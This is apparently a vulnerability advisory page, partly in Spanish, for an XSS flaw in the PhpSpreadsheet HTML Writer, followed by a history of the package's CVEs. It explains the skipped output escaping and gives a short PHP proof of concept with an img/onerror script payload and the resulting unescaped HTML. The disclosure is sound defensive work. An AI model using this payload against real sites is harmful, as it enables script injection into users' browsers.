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PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

  • Publicada: 28.04.2026
  • Actualizado: 11.10.2026 10:22

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594

php
$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152

php
if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

php
<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>
<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer phpoffice/phpspreadsheet >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-79, CWE-80
Plataforma
Composer
Paquete
phpoffice/phpspreadsheet
Publicada
28.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-6wpp-88cp-7q68 - CC BY 4.0

Historial de vulnerabilidades: phpoffice/phpspreadsheet

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (31) en el archivo
Entradas en total
31
Primera → última
11.2019 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 17
  • Media 12

Divulgaciones por año

Gravedad:
  1. PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
    Alta · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
    Alta · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
    Alta · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. PHPSpreadsheet has a patch bypass for CVE-2026-34084
    Crítica CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
    Alta · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
    Alta · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
    Crítica CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer esta entrada
    Media CVE-2026-35453 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  9. PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
    Alta CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  10. PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
    Alta · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
    Alta · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
    Alta · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
    Alta · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  14. XXE in PHPSpreadsheet's XLSX reader
    Alta · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. XmlScanner bypass leads to XXE
    Alta · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  16. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
    Alta · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  17. PHPSpreadsheet Library < 2.3.0 - XXE Injection
    Alta · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  18. XXE in PHPSpreadsheet encoding is returned
    Alta · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  19. XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue
    Alta · 8.8 CVE-2019-12331 < 1.8.0 1.8.0
  20. XXE in PHPSpreadsheet due to encoding issue
    Alta · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

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